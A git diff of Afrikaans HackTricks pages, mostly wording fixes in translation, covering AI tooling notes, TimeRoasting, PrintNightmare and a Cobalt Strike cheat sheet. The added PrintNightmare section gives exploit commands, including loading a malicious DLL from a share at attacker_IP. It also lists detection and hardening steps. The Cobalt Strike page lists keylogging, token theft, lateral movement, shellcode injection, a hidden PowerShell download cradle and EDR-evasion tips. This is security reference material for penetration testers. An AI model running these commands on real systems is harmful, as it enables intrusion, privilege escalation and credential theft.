 ### [**LitGPT**](https://github.com/Lightning-AI/litgpt)

-LitGPT is 'n projek ontwikkel deur Lightning AI wat die Lightning-raamwerk benut om die opleiding, fyn-afstemming, en ontplooiing van GPT-gebaseerde modelle te fasiliteer. Dit integreer naatloos met ander Lightning AI gereedskap, wat geoptimaliseerde werksvloei bied vir die hantering van grootmaat taalmodelle met verbeterde prestasie en skaalbaarheid.
+LitGPT is 'n projek wat deur Lightning AI ontwikkel is wat die Lightning-raamwerk benut om die opleiding, fyn-afstemming, en ontplooiing van GPT-gebaseerde modelle te fasiliteer. Dit integreer naatloos met ander Lightning AI gereedskap, wat geoptimaliseerde werksvloei bied vir die hantering van grootmaat taalmodelle met verbeterde prestasie en skaalbaarheid.

 ### [**LitServe**](https://github.com/Lightning-AI/LitServe)

 **Beskrywing:**\
-LitServe is 'n ontplooiingstoestel van Lightning AI wat ontwerp is om AI-modelle vinnig en doeltreffend te ontplooi. Dit vereenvoudig die integrasie van LLMs in regstydse toepassings deur skaalbare en geoptimaliseerde bedieningsvermoëns te bied.
+LitServe is 'n ontplooiingstoestel van Lightning AI wat ontwerp is om AI-modelle vinnig en doeltreffend te ontplooi. Dit vereenvoudig die integrasie van LLMs in werklike toepassings deur skaalbare en geoptimaliseerde bedieningsvermoëns te bied.

 ### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl)

@ -32,23 +32,24 @@ Axolotl is 'n wolk-gebaseerde platform wat ontwerp is om die ontplooiing, skaal
 **Hugging Face** is 'n toonaangewende platform en gemeenskap vir masjienleer, veral bekend vir sy werk in natuurlike taalverwerking (NLP). Dit bied gereedskap, biblioteke, en hulpbronne wat dit makliker maak om masjienleer modelle te ontwikkel, te deel, en te ontplooi.\
 Dit bied verskeie afdelings soos:

-* **Modelle**: 'n Uitgebreide repo van **vooraf-opleiding masjienleer modelle** waar gebruikers kan blaai, aflaai, en modelle vir verskeie take soos teksgenerasie, vertaling, beeldherkenning, en meer kan integreer.
+* **Modelle**: 'n Uitgebreide versameling van **vooraf-opleiding masjienleer modelle** waar gebruikers kan blaai, aflaai, en modelle vir verskeie take soos teksgenerasie, vertaling, beeldherkenning, en meer kan integreer.
 * **Datastelle:** 'n Omvattende **versameling van datastelle** wat gebruik word vir die opleiding en evaluering van modelle. Dit fasiliteer maklike toegang tot diverse databronne, wat gebruikers in staat stel om data vir hul spesifieke masjienleer projekte te vind en te benut.
-* **Ruimtes:** 'n Platform vir die gasheer en deel van **interaktiewe masjienleer toepassings** en demo's. Dit stel ontwikkelaars in staat om hul modelle in aksie te **ten toon te stel**, gebruikersvriendelike koppelvlakke te skep, en saam te werk met ander deur live demo's te deel.
+* **Ruimtes:** 'n Platform vir die gasheer en deel van **interaktiewe masjienleer toepassings** en demo's. Dit stel ontwikkelaars in staat om hul modelle in aksie te **ten toon**, gebruikersvriendelike koppelvlakke te skep, en saam te werk met ander deur live demo's te deel.

 ## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)

-**TensorFlow Hub** is 'n omvattende repo van herbruikbare masjienleer modules ontwikkel deur Google. Dit fokus op die fasilitering van die deel en ontplooiing van masjienleer modelle, veral dié wat met TensorFlow gebou is.
+**TensorFlow Hub** is 'n omvattende versameling van herbruikbare masjienleer modules wat deur Google ontwikkel is. Dit fokus op die fasilitering van die deel en ontplooiing van masjienleer modelle, veral dié wat met TensorFlow gebou is.

 * **Modules:** 'n Uitgebreide versameling van vooraf-opleiding modelle en modelkomponente waar gebruikers kan blaai, aflaai, en modules vir take soos beeldklassifikasie, teksinbeding, en meer kan integreer.
-* **Tutorials:** Stap-vir-stap gidse en voorbeelde wat gebruikers help om te verstaan hoe om modelle te implementeer en fyn-af te stem met behulp van TensorFlow Hub.
-* **Dokumentasie:** Omvattende gidse en API verwysings wat ontwikkelaars help om die repo se hulpbronne effektief te benut.
+* **Tutorials:** Stap-vir-stap gidse en voorbeelde wat gebruikers help om te verstaan hoe om modelle te implementeer en fyn af te stem met behulp van TensorFlow Hub.
+* **Dokumentasie:** Omvattende gidse en API verwysings wat ontwikkelaars help om die hulpbronne van die versameling effektief te benut.

 ## [**Replicate**](https://replicate.com/home)

 **Replicate** is 'n platform wat ontwikkelaars toelaat om masjienleer modelle in die wolk te laat loop via 'n eenvoudige API. Dit fokus op die maak van ML modelle maklik toeganklik en ontplooibaar sonder die behoefte aan uitgebreide infrastruktuur opstelling.

-* **Modelle:** 'n Repo van masjienleer modelle wat deur die gemeenskap bygedra is wat gebruikers kan blaai, probeer, en modelle in hul toepassings met minimale moeite kan integreer.
+* **Modelle:** 'n Versameling van masjienleer modelle wat deur die gemeenskap bygedra is wat gebruikers kan blaai, probeer, en modelle in hul toepassings met minimale moeite kan integreer.
 * **API Toegang:** Eenvoudige API's vir die uitvoering van modelle wat ontwikkelaars in staat stel om modelle moeiteloos binne hul eie toepassings te ontplooi en te skaal.

-{{#include /banners/hacktricks-training.md}}
+
+{{#include ../banners/hacktricks-training.md}}
--- a/src/windows-hardening/active-directory-methodology/TimeRoasting.md
+++ b/src/windows-hardening/active-directory-methodology/TimeRoasting.md
@ -1,12 +1,12 @@
 # TimeRoasting

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

-timeRoasting, die hoofrede is die verouderde verifikasiesisteem wat deur Microsoft in sy uitbreiding na NTP-bedieners gelaat is, bekend as MS-SNTP. In hierdie sisteem kan kliënte enige rekenaarrekening se Relative Identifier (RID) direk gebruik, en die domeinbeheerder sal die rekenaarrekening se NTLM-hash (gegenereer deur MD4) as die sleutel gebruik om die **Message Authentication Code (MAC)** van die responspakket te genereer.
+timeRoasting, die hoofrede is die verouderde verifikasiemeganisme wat deur Microsoft in sy uitbreiding na NTP-bedieners gelaat is, bekend as MS-SNTP. In hierdie meganisme kan kliënte enige rekenaarrekening se Relative Identifier (RID) direk gebruik, en die domeinbeheerder sal die rekenaarrekening se NTLM-hash (gegenereer deur MD4) as die sleutel gebruik om die **Message Authentication Code (MAC)** van die responspakket te genereer.

-Aanvallers kan hierdie sisteem benut om ekwivalente hashwaardes van arbitrêre rekenaarrekeninge sonder verifikasie te verkry. Duidelik kan ons gereedskap soos Hashcat gebruik vir brute-forcing.
+Aanvallers kan hierdie meganisme benut om ekwivalente hashwaardes van arbitrêre rekenaarrekeninge sonder verifikasie te verkry. Dit is duidelik dat ons gereedskap soos Hashcat kan gebruik vir brute-forcing.

-Die spesifieke sisteem kan in afdeling 3.1.5.1 "Authentication Request Behavior" van die [amptelike Windows-dokumentasie vir MS-SNTP-protokol](https://winprotocoldoc.z19.web.core.windows.net/MS-SNTP/%5bMS-SNTP%5d.pdf) gesien word.
+Die spesifieke meganisme kan in afdeling 3.1.5.1 "Authentication Request Behavior" van die [amptelike Windows-dokumentasie vir MS-SNTP-protokol](https://winprotocoldoc.z19.web.core.windows.net/MS-SNTP/%5bMS-SNTP%5d.pdf) gesien word.

 In die dokument dek afdeling 3.1.5.1 Authentication Request Behavior.
 ![](../../images/Pasted%20image%2020250709114508.png)
@ -18,9 +18,9 @@ Dit kan gesien word dat wanneer die ExtendedAuthenticatorSupported ADM-element o
 In dokumentafdeling 4 Protokol Voorbeelde punt 3

 >Gehaal uit die oorspronklike artikel：
->>3. Na ontvangs van die versoek, verifieer die bediener dat die ontvangde boodskapgrootte 68 bytes is. As dit nie is nie, laat die bediener of die versoek val (as die boodskapgrootte nie 48 bytes gelyk is nie) of hanteer dit as 'n nie-geverifieerde versoek (as die boodskapgrootte 48 bytes is). Aannemende dat die ontvangde boodskapgrootte 68 bytes is, onttrek die bediener die RID uit die ontvangde boodskap. Die bediener gebruik dit om die NetrLogonComputeServerDigest-metode aan te roep (soos gespesifiseer in [MS-NRPC] afdeling 3.5.4.8.2) om die crypto-checksums te bereken en die crypto-checksum te kies op grond van die mees betekenisvolle bit van die Key Identifier-subveld van die ontvangde boodskap, soos gespesifiseer in afdeling 3.2.5. Die bediener stuur dan 'n respons aan die kliënt, en stel die Key Identifier-veld op 0 en die Crypto-Checksum-veld op die berekende crypto-checksum.
+>>3. Nadat die versoek ontvang is, verifieer die bediener dat die ontvangde boodskapgrootte 68 bytes is. As dit nie is nie, laat die bediener die versoek val (as die boodskapgrootte nie 48 bytes gelyk is nie) of hanteer dit as 'n nie-geverifieerde versoek (as die boodskapgrootte 48 bytes is). Aannemende dat die ontvangde boodskapgrootte 68 bytes is, onttrek die bediener die RID uit die ontvangde boodskap. Die bediener gebruik dit om die NetrLogonComputeServerDigest-metode aan te roep (soos gespesifiseer in [MS-NRPC] afdeling 3.5.4.8.2) om die crypto-checksums te bereken en die crypto-checksum te kies op grond van die mees betekenisvolle bit van die Key Identifier-subveld van die ontvangde boodskap, soos gespesifiseer in afdeling 3.2.5. Die bediener stuur dan 'n respons aan die kliënt, en stel die Key Identifier-veld op 0 en die Crypto-Checksum-veld op die berekende crypto-checksum.

-Volgens die beskrywing in die Microsoft amptelike dokument hierbo, hoef gebruikers nie enige verifikasie te hê nie; hulle moet net die RID invul om 'n versoek te begin, en dan kan hulle die kriptografiese checksum verkry. Die kriptografiese checksum word in afdeling 3.2.5.1.1 van die dokument verduidelik.
+Volgens die beskrywing in die bogenoemde amptelike Microsoft-dokument, het gebruikers nie enige verifikasie nodig nie; hulle moet net die RID invul om 'n versoek te begin, en dan kan hulle die kriptografiese checksum verkry. Die kriptografiese checksum word in afdeling 3.2.5.1.1 van die dokument verduidelik.

 >Gehaal uit die oorspronklike artikel：
 >>Die bediener haal die RID uit die minste betekenisvolle 31 bits van die Key Identifier-subveld van die Authenticator-veld van die Client NTP Request-boodskap. Die bediener gebruik die NetrLogonComputeServerDigest-metode (soos gespesifiseer in [MS-NRPC] afdeling 3.5.4.8.2) om crypto-checksums te bereken met die volgende invoerparameters:
@ -37,4 +37,4 @@ Citaat na https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad
 sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
 hashcat -m 31300 ntp-hashes.txt
 ```
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/active-directory-methodology/printnightmare.md
+++ b/src/windows-hardening/active-directory-methodology/printnightmare.md
@ -1,7 +1,98 @@
-# PrintNightmare
+# PrintNightmare (Windows Print Spooler RCE/LPE)

 {{#include ../../banners/hacktricks-training.md}}

-**Kyk na hierdie wonderlike blogpos oor PrintNightmare in 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
+> PrintNightmare is die kollektiewe naam wat gegee word aan 'n familie van kwesbaarhede in die Windows **Print Spooler** diens wat **arbitraire kode-uitvoering as SYSTEM** toelaat en, wanneer die spooler oor RPC bereikbaar is, **afgeleë kode-uitvoering (RCE) op domeinbeheerders en lêerbedieners**. Die mees wydgebruikte CVE's is **CVE-2021-1675** (aanvanklik geklassifiseer as LPE) en **CVE-2021-34527** (volledige RCE). Volgende probleme soos **CVE-2021-34481 (“Point & Print”)** en **CVE-2022-21999 (“SpoolFool”)** bewys dat die aanvaloppervlak steeds ver van gesluit is.

+---
+
+## 1. Kwesbare komponente & CVE's
+
+| Jaar | CVE | Kort naam | Primitive | Aantekeninge |
+|------|-----|-----------|-----------|--------------|
+|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|Gepatch in Junie 2021 CU maar omseil deur CVE-2021-34527|
+|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx laat geverifieerde gebruikers toe om 'n stuurprogram DLL van 'n afgeleë deel te laai|
+|2021|CVE-2021-34481|“Point & Print”|LPE|Ongesigneerde stuurprograminstallasie deur nie-admin gebruikers|
+|2022|CVE-2022-21999|“SpoolFool”|LPE|Arbitraire gidscreatie → DLL plant – werk na 2021 patches|
+
+Almal van hulle misbruik een van die **MS-RPRN / MS-PAR RPC metodes** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) of vertrou verhoudings binne **Point & Print**.
+
+## 2. Exploitasiemetodes
+
+### 2.1 Afgeleë Domeinbeheerder kompromie (CVE-2021-34527)
+
+'n Geverifieerde maar **nie-bevoorregte** domein gebruiker kan arbitraire DLL's as **NT AUTHORITY\SYSTEM** op 'n afgeleë spooler (dikwels die DC) uitvoer deur:
+```powershell
+# 1. Host malicious driver DLL on a share the victim can reach
+impacket-smbserver share ./evil_driver/ -smb2support
+
+# 2. Use a PoC to call RpcAddPrinterDriverEx
+python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
+-f \
+'\\attacker_IP\share\evil.dll'
+```
+Populêre PoCs sluit **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) en Benjamin Delpy se `misc::printnightmare / lsa::addsid` modules in **mimikatz** in.
+
+### 2.2 Plaaslike voorregte-eskalasie (enige ondersteunde Windows, 2021-2024)
+
+Die dieselfde API kan **lokaal** aangeroep word om 'n stuurprogram van `C:\Windows\System32\spool\drivers\x64\3\` te laai en SYSTEM voorregte te verkry:
+```powershell
+Import-Module .\Invoke-Nightmare.ps1
+Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
+```
+### 2.3 SpoolFool (CVE-2022-21999) – omseil 2021 regstellings
+
+Microsoft se 2021 regstellings het afstands bestuurder laai geblokkeer, maar **het nie gids toestemming versterk nie**. SpoolFool misbruik die `SpoolDirectory` parameter om 'n arbitrêre gids te skep onder `C:\Windows\System32\spool\drivers\`, laat 'n payload DLL val, en dwing die spooler om dit te laai:
+```powershell
+# Binary version (local exploit)
+SpoolFool.exe -dll add_user.dll
+
+# PowerShell wrapper
+Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
+```
+> Die exploit werk op ten volle gepatchte Windows 7 → Windows 11 en Server 2012R2 → 2022 voor Februarie 2022 opdaterings
+
+---
+
+## 3. Opsporing & jag
+
+* **Gebeurtenislogs** – stel die *Microsoft-Windows-PrintService/Operational* en *Admin* kanale in en kyk vir **Gebeurtenis ID 808** “Die drukspooler het gefaal om 'n plug-in module te laai” of vir **RpcAddPrinterDriverEx** boodskappe.
+* **Sysmon** – `Gebeurtenis ID 7` (Beeld gelaai) of `11/23` (Lêer skryf/verwyder) binne `C:\Windows\System32\spool\drivers\*` wanneer die ouer proses **spoolsv.exe** is.
+* **Proses afkoms** – waarskuwings wanneer **spoolsv.exe** `cmd.exe`, `rundll32.exe`, PowerShell of enige ongetekende binêre genereer.
+
+## 4. Versagting & verharding
+
+1. **Patches!** – Pas die nuutste kumulatiewe opdatering toe op elke Windows-gasheer wat die Print Spooler diens geïnstalleer het.
+2. **Deaktiveer die spooler waar dit nie benodig word nie**, veral op Domein Beheerders:
+```powershell
+Stop-Service Spooler -Force
+Set-Service Spooler -StartupType Disabled
+```
+3. **Blokkeer afstandskonneksies** terwyl plaaslike drukwerk steeds toegelaat word – Groep Beleid: `Rekenaar Konfigurasie → Administratiewe Sjablone → Drukkers → Laat Print Spooler toe om kliëntverbindinge te aanvaar = Deaktiveer`.
+4. **Beperk Punt & Druk** sodat slegs administrateurs bestuurders kan byvoeg deur die registerwaarde in te stel:
+```cmd
+reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
+/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
+```
+Gedetailleerde leiding in Microsoft KB5005652
+
+---
+
+## 5. Verwante navorsing / gereedskap
+
+* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) modules
+* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
+* SpoolFool exploit & skrywe
+* 0patch mikropatches vir SpoolFool en ander spooler foute
+
+---
+
+**Meer lees (buitelandse):** Kyk na die 2024 stap-vir-stap blogpos – [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
+
+## Verwysings
+
+* Microsoft – *KB5005652: Bestuur nuwe Punt & Druk standaard bestuurder installasie gedrag*
+<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
+* Oliver Lyak – *SpoolFool: CVE-2022-21999*
+<https://github.com/ly4k/SpoolFool>
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/cobalt-strike.md
+++ b/src/windows-hardening/cobalt-strike.md
@ -1,21 +1,21 @@
 # Cobalt Strike

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

 ### Luisteraars

 ### C2 Luisteraars

-`Cobalt Strike -> Luisteraars -> Voeg by/Wysig` dan kan jy kies waar om te luister, watter soort sein om te gebruik (http, dns, smb...) en meer.
+`Cobalt Strike -> Luisteraars -> Voeg by/Wysig` dan kan jy kies waar om te luister, watter soort beacon om te gebruik (http, dns, smb...) en meer.

 ### Peer2Peer Luisteraars

-Die seine van hierdie luisteraars hoef nie direk met die C2 te kommunikeer nie, hulle kan met dit kommunikeer deur ander seine.
+Die beacons van hierdie luisteraars hoef nie direk met die C2 te kommunikeer nie, hulle kan met dit kommunikeer deur ander beacons.

-`Cobalt Strike -> Luisteraars -> Voeg by/Wysig` dan moet jy die TCP of SMB seine kies.
+`Cobalt Strike -> Luisteraars -> Voeg by/Wysig` dan moet jy die TCP of SMB beacons kies.

-* Die **TCP sein sal 'n luisteraar in die geselekteerde poort stel**. Om met 'n TCP sein te verbind, gebruik die opdrag `connect <ip> <port>` vanaf 'n ander sein.
-* Die **smb sein sal luister in 'n pypnaam met die geselekteerde naam**. Om met 'n SMB sein te verbind, moet jy die opdrag `link [target] [pipe]` gebruik.
+* Die **TCP beacon sal 'n luisteraar in die geselekteerde poort stel**. Om met 'n TCP beacon te verbind, gebruik die opdrag `connect <ip> <port>` vanaf 'n ander beacon.
+* Die **smb beacon sal luister in 'n pipename met die geselekteerde naam**. Om met 'n SMB beacon te verbind, moet jy die opdrag `link [target] [pipe]` gebruik.

 ### Genereer & Gasheer payloads

@ -30,13 +30,13 @@ Die seine van hierdie luisteraars hoef nie direk met die C2 te kommunikeer nie,

 #### Genereer & Gasheer payloads

-`Aanvalle -> Web Drive-by -> Scripted Web Delivery (S)` Dit sal 'n script/executable genereer om die sein van cobalt strike af te laai in formate soos: bitsadmin, exe, powershell en python.
+`Aanvalle -> Web Drive-by -> Scripted Web Delivery (S)` Dit sal 'n script/executable genereer om die beacon van cobalt strike af te laai in formate soos: bitsadmin, exe, powershell en python.

 #### Gasheer Payloads

 As jy reeds die lêer het wat jy in 'n webbediener wil gasheer, gaan net na `Aanvalle -> Web Drive-by -> Gasheer Lêer` en kies die lêer om te gasheer en webbediener konfigurasie.

-### Sein Opsies
+### Beacon Opsies

 <pre class="language-bash"><code class="lang-bash"># Voer plaaslike .NET binêre uit
 execute-assembly </path/to/executable.exe>
@ -45,15 +45,15 @@ execute-assembly </path/to/executable.exe>
 # Skermskote
 printscreen    # Neem 'n enkele skermskoot via PrintScr metode
 screenshot     # Neem 'n enkele skermskoot
-screenwatch    # Neem periodieke skermskote van lessenaar
+screenwatch    # Neem periodieke skermskote van desktop
 ## Gaan na View -> Skermskote om hulle te sien

-# sleutellogger
+# keylogger
 keylogger [pid] [x86|x64]
-## View > Keystrokes om die gedrukte sleutels te sien
+## View > Keystrokes om die getypte sleutels te sien

-# poortskandering
-portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Spuit poortskandering aksie binne 'n ander proses
+# portscan
+portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Spuit portscan aksie binne 'n ander proses
 portscan [targets] [ports] [arp|icmp|none] [max connections]

 # Powershell
@ -66,7 +66,7 @@ powerpick Invoke-PrivescAudit | fl
 psinject <pid> <arch> <commandlet> <arguments> # Dit spuit UnmanagedPowerShell in die gespesifiseerde proses om die PowerShell cmdlet uit te voer.

 # Gebruiker impersonasie
-## Token generasie met krediete
+## Token generasie met kredensiale
 make_token [DOMAIN\user] [password] #Skep token om 'n gebruiker in die netwerk te impersonate
 ls \\computer_name\c$ # Probeer om die gegenereerde token te gebruik om toegang tot C$ in 'n rekenaar te verkry
 rev2self # Stop om die token wat met make_token gegenereer is te gebruik
@ -80,13 +80,13 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 ## Steel token van pid
 ## Soos make_token maar steel die token van 'n proses
 steal_token [pid] # Ook, dit is nuttig vir netwerk aksies, nie plaaslike aksies nie
-## Uit die API dokumentasie weet ons dat hierdie aanmeldtipe "die oproeper toelaat om sy huidige token te kloon". Dit is waarom die Beacon-uitvoer sê Impersonated <current_username> - dit impersonate ons eie gekloonde token.
+## Uit die API dokumentasie weet ons dat hierdie aanmeldtipe "die oproeper toelaat om sy huidige token te kloon". Dit is waarom die Beacon-uitset sê Impersonated <current_username> - dit impersonate ons eie gekloonde token.
 ls \\computer_name\c$ # Probeer om die gegenereerde token te gebruik om toegang tot C$ in 'n rekenaar te verkry
 rev2self # Stop om die token van steal_token te gebruik

-## Begin proses met nuwe krediete
+## Begin proses met nuwe kredensiale
 spawnas [domain\username] [password] [listener] #Doen dit vanaf 'n gids met lees toegang soos: cd C:\
-## Soos make_token, sal dit Windows gebeurtenis 4624 genereer: 'n rekening is suksesvol aangemeld maar met 'n aanmeldtipe van 2 (LOGON32_LOGON_INTERACTIVE). Dit sal die oproep gebruiker (TargetUserName) en die geïmpersoniseerde gebruiker (TargetOutboundUserName) detail.
+## Soos make_token, sal dit Windows gebeurtenis 4624 genereer: 'n rekening is suksesvol aangemeld maar met 'n aanmeldtipe van 2 (LOGON32_LOGON_INTERACTIVE). Dit sal die oproepende gebruiker (TargetUserName) en die geïmpersoniseerde gebruiker (TargetOutboundUserName) detail.

 ## Spuit in proses
 inject [pid] [x64|x86] [listener]
@ -106,7 +106,7 @@ steal_token <pid> #Steel token van proses geskep deur mimikatz
 ## Versoek 'n kaartjie
 execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
 execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
-## Skep 'n nuwe aanmeldsessie om met die nuwe kaartjie te gebruik (om nie die gecompromitteerde een te oorskry nie)
+## Skep 'n nuwe aanmeldsessie om met die nuwe kaartjie te gebruik (om nie die gecompromitteerde een te oorskryf nie)
 make_token <domain>\<username> DummyPass
 ## Skryf die kaartjie in die aanvaller masjien vanaf 'n poweshell sessie & laai dit
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
@ -118,7 +118,7 @@ execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /ae
 ## Steel die token van daardie proses
 steal_token <pid>

-## Onthaal kaartjie + Pass die kaartjie
+## Onthul kaartjie + Pass die kaartjie
 ### Lys kaartjies
 execute-assembly C:\path\Rubeus.exe triage
 ### Dump interessante kaartjie deur luid
@ -134,20 +134,20 @@ steal_token <pid>
 ## As 'n token geskep is, sal dit gebruik word
 jump [method] [target] [listener]
 ## Metodes:
-## psexec                    x86   Gebruik 'n diens om 'n Service EXE artefak te loop
-## psexec64                  x64   Gebruik 'n diens om 'n Service EXE artefak te loop
-## psexec_psh                x86   Gebruik 'n diens om 'n PowerShell een-liner te loop
+## psexec                    x86   Gebruik 'n diens om 'n Service EXE artefak uit te voer
+## psexec64                  x64   Gebruik 'n diens om 'n Service EXE artefak uit te voer
+## psexec_psh                x86   Gebruik 'n diens om 'n PowerShell een-liner uit te voer
 ## winrm                     x86   Voer 'n PowerShell skrip via WinRM uit
 ## winrm64                   x64   Voer 'n PowerShell skrip via WinRM uit
 ## wmi_msbuild               x64   wmi laterale beweging met msbuild inline c# taak (oppsec)

-remote-exec [method] [target] [command] # remote-exec gee nie uitvoer terug nie
+remote-exec [method] [target] [command] # remote-exec gee nie uitset terug nie
 ## Metodes:
 ## psexec                          Afgeleë uitvoering via Diensbeheerder
 ## winrm                           Afgeleë uitvoering via WinRM (PowerShell)
 ## wmi                             Afgeleë uitvoering via WMI

-## Om 'n sein met wmi uit te voer (dit is nie in die jump opdrag nie) laai net die sein op en voer dit uit
+## Om 'n beacon met wmi uit te voer (dit is nie in die jump opdrag nie) laai net die beacon op en voer dit uit
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe

@ -173,7 +173,7 @@ ps
 shinject <pid> x64 C:\Payloads\msf.bin #Spuit metasploit shellcode in 'n x64 proses

 # Pass metasploit sessie na cobalt strike
-## Genereer stageless Beacon shellcode, gaan na Aanvalle > Pakkette > Windows Executable (S), kies die gewenste luisteraar, kies Raw as die Uitvoer tipe en kies Gebruik x64 payload.
+## Genereer stageless Beacon shellcode, gaan na Aanvalle > Pakkette > Windows Executable (S), kies die gewenste luisteraar, kies Raw as die Uitset tipe en kies Gebruik x64 payload.
 ## Gebruik post/windows/manage/shellcode_inject in metasploit om die gegenereerde cobalt strike shellcode in te spuit.

 # Pivoting
@ -181,11 +181,11 @@ shinject <pid> x64 C:\Payloads\msf.bin #Spuit metasploit shellcode in 'n x64 pro
 beacon> socks 1080

 # SSH verbinding
-beacon> ssh 10.10.17.12:22 gebruikersnaam wagwoord</code></pre>
+beacon> ssh 10.10.17.12:22 username password</code></pre>

 ## Opsec

-### Voer-Assembly uit
+### Execute-Assembly

 Die **`execute-assembly`** gebruik 'n **sakrifisiale proses** deur middel van afstand proses inspuiting om die aangeduide program uit te voer. Dit is baie luidrugtig aangesien sekere Win API's gebruik word om binne 'n proses in te spuit wat elke EDR nagaan. Daar is egter 'n paar pasgemaakte gereedskap wat gebruik kan word om iets in dieselfde proses te laai:

@ -194,7 +194,7 @@ Die **`execute-assembly`** gebruik 'n **sakrifisiale proses** deur middel van af
 - In Cobalt Strike kan jy ook BOF (Beacon Object Files) gebruik: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
 - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)

-Die agressor skrip `https://github.com/outflanknl/HelpColor` sal die `helpx` opdrag in Cobalt Strike skep wat kleure in opdragte sal plaas wat aandui of hulle BOFs (groen) is, of hulle is Frok&Run (geel) en soortgelyk, of hulle is Prosesuitvoering, inspuiting of soortgelyk (rooi). Dit help om te weet watter opdragte meer stil is.
+Die agressor skrip `https://github.com/outflanknl/HelpColor` sal die `helpx` opdrag in Cobalt Strike skep wat kleure in opdragte sal plaas om aan te dui of hulle BOFs (groen) is, of hulle is Frok&Run (geel) en soortgelyk, of hulle is Prosesuitvoering, inspuiting of soortgelyk (rooi). Dit help om te weet watter opdragte meer stil is.

 ### Tree as die gebruiker

@ -203,7 +203,7 @@ Jy kan gebeurtenisse soos `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredO
 - Sekuriteit EID 4624 - Gaan al die interaktiewe aanmeldings na om die gewone werksure te ken.
 - Stelsel EID 12,13 - Gaan die afsluit/aanvang/slaap frekwensie na.
 - Sekuriteit EID 4624/4625 - Gaan inkomende geldige/ongeldige NTLM pogings na.
- Sekuriteit EID 4648 - Hierdie gebeurtenis word geskep wanneer platte krediete gebruik word om aan te meld. As 'n proses dit genereer, het die binêre moontlik die krediete in duidelike teks in 'n konfigurasielêer of binne die kode.
+- Sekuriteit EID 4648 - Hierdie gebeurtenis word geskep wanneer platte kredensiale gebruik word om aan te meld. As 'n proses dit genereer, het die binêre moontlik die kredensiale in duidelike teks in 'n konfigurasielêer of binne die kode.

 Wanneer jy `jump` van cobalt strike gebruik, is dit beter om die `wmi_msbuild` metode te gebruik om die nuwe proses meer wettig te laat lyk.

@ -217,9 +217,9 @@ Stageless payloads is minder luidrugtig as staged ones omdat hulle nie 'n tweede

 ### Tokens & Token Winkel

-Wees versigtig wanneer jy tokens steel of genereer, want dit mag moontlik wees vir 'n EDR om al die tokens van al die threads op te som en 'n **token wat aan 'n ander gebruiker behoort** of selfs SYSTEM in die proses te vind.
+Wees versigtig wanneer jy tokens steel of genereer omdat dit moontlik is vir 'n EDR om al die tokens van al die threads op te som en 'n **token wat aan 'n ander gebruiker behoort** of selfs SYSTEM in die proses te vind.

-Dit maak dit moontlik om tokens **per sein** te stoor sodat dit nie nodig is om dieselfde token weer en weer te steel nie. Dit is nuttig vir laterale beweging of wanneer jy 'n gesteelde token verskeie kere moet gebruik:
+Dit stel jou in staat om tokens **per beacon** te stoor sodat dit nie nodig is om dieselfde token weer en weer te steel nie. Dit is nuttig vir laterale beweging of wanneer jy 'n gesteelde token verskeie kere moet gebruik:

 - token-store steal <pid>
 - token-store steal-and-use <pid>
@ -232,30 +232,30 @@ Wanneer jy lateraal beweeg, is dit gewoonlik beter om **'n token te steel as om

 ### Guardrails

-Cobalt Strike het 'n funksie genaamd **Guardrails** wat help om die gebruik van sekere opdragte of aksies te voorkom wat deur verdedigers opgespoor kan word. Guardrails kan geconfigureer word om spesifieke opdragte te blokkeer, soos `make_token`, `jump`, `remote-exec`, en ander wat algemeen gebruik word vir laterale beweging of privilige opgradering.
+Cobalt Strike het 'n funksie genaamd **Guardrails** wat help om die gebruik van sekere opdragte of aksies te voorkom wat opgespoor kan word deur verdedigers. Guardrails kan geconfigureer word om spesifieke opdragte te blokkeer, soos `make_token`, `jump`, `remote-exec`, en ander wat algemeen gebruik word vir laterale beweging of privilige opgradering.

